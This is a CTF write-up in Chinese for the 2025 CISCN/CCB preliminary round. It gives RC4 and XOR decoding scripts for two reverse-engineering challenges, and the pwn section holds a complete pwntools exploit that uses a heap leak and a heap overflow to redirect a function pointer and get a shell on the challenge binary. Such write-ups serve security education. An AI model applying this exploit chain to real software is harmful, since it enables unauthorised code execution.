2025ciscn&ccb初赛部分wp

Re

ezCsky

找到rc4和key

def rc4(data, key):
    S = list(range(256))
    j = 0
    out = []

    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])

    return out


data = bytes([0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,
  0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,
  0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06,
  0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40,
  0xED, 0xD1])
key = b'testkey'
decrypted = rc4(data, key)
print(decrypted)

得到的密文发现最后一位是125，第一位和f异或得到l，猜测是相邻异或，而且程序前面也有xor模块

a=[10, 13, 6, 28, 31, 84, 86, 83, 87, 81, 0, 3, 29, 20, 88, 86, 3, 25, 28, 0, 84, 3, 75, 20, 88, 7, 2, 73, 76, 2, 7, 1, 81, 12, 8, 0, 1, 0, 3, 0, 79, 125]
flag='f'
ch='f'
for i in range(len(a)-1):
    tmp=ord(ch)^a[i]
    flag+=chr(tmp)
    ch=chr(tmp)
print(flag)
#flag{d0f5b330-9a74-11ef-9afd-acde48001122}

dump

程序会解析输入参数

输入flag发现刚好对的上

经过测试猜测是单表代换，且00表示4

把大部分可见字符的映射都找出来

# s='2e34222f313632262c2d1e3021232425272829373520331f2b2a12180613151a160a10110214050708090b0c0d1b190417030f0e1c1d'
# for i in range(0,0xlen(s),0x2):
#     print(s[i],0xend="")
#     print(s[i+1],0xend=",0x")
a=[0x2e,0x34,0x22,0x2f,0x31,0x36,0x32,0x26,0x2c,0x2d,0x1e,0x30,0x21,0x23,0x24,0x25,0x27,0x28,0x29,0x37,0x35,0x20,0x33,0x1f,0x2b,0x2a,0x12,0x18,0x06,0x13,0x15,0x1a,0x16,0x0a,0x10,0x11,0x02,0x14,0x05,0x07,0x08,0x09,0x0b,0x0c,0x0d,0x1b,0x19,0x04,0x17,0x03,0x0f,0x0e,0x1c,0x1d,0x00,0x38,0x39,0x01]
s='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM124{}='
print(len(s))
print(len(a))
a1=[0x23,0x29,0x1E,0x24,0x38,0x0E,0x15,0x20,0x37,0x0E,0x05,0x20,0x00,0x0E,0x37,0x12,0x1D,0x0F,0x24,0x01,0x01,0x39]
for i in range(len(a1)):
    print(s[a.index(a1[i])],end="")
    
#flag{MTczMDc4MzQ2Ng==}

Pwn

anote

查看保护

无法反编译菜单

发现后门函数

gift泄露堆地址

有堆溢出

函数调用需要经过两次地址读，两次取地址后直接getshell

from pwn import *
context(log_level='debug',arch='i386',os='linux')
filename='./note'

debug = 1
if debug:
    io = process(filename)
else:
    io = remote('39.107.73.132',34877)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
    gdb.attach(io)
def b(addr):    
    #bk="b *$rebase("+str(addr)+")"    
    bk='b *' + str(addr)    
    attach(io,bk)  
def get_addr():
    #return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    return u32(io.recv()[0:4])

def add():
    ru(b'Choice>>')
    sl(b'1')
def show(index):
    ru(b'Choice>>')
    sl(b'2')
    ru(b'index: ')
    sl(index)
def edit(index,size,payload):
    ru(b'Choice>>')
    sl(b'3')
    ru(b'index: ')
    sl(index)
    ru(b'len: ')
    sl(size)
    ru(b'content: ')
    sl(payload)

system = 0x80489ce

add()
add()
add()
add()
add()

ru(b'Choice>>')
sl(b'2')
ru(b'index: ')
sl(b'4')
ru(b'gift: ')
gift=io.recvline().strip()
str = gift.decode('utf-8')
gift_int = int(str,16)
gift_int = gift_int+8

payload=b'a'*24+p32(gift_int)
edit(b'1',b'28',payload)
edit(b'4',b'4',p32(system))
edit(b'2',b'1',b'a')

inter()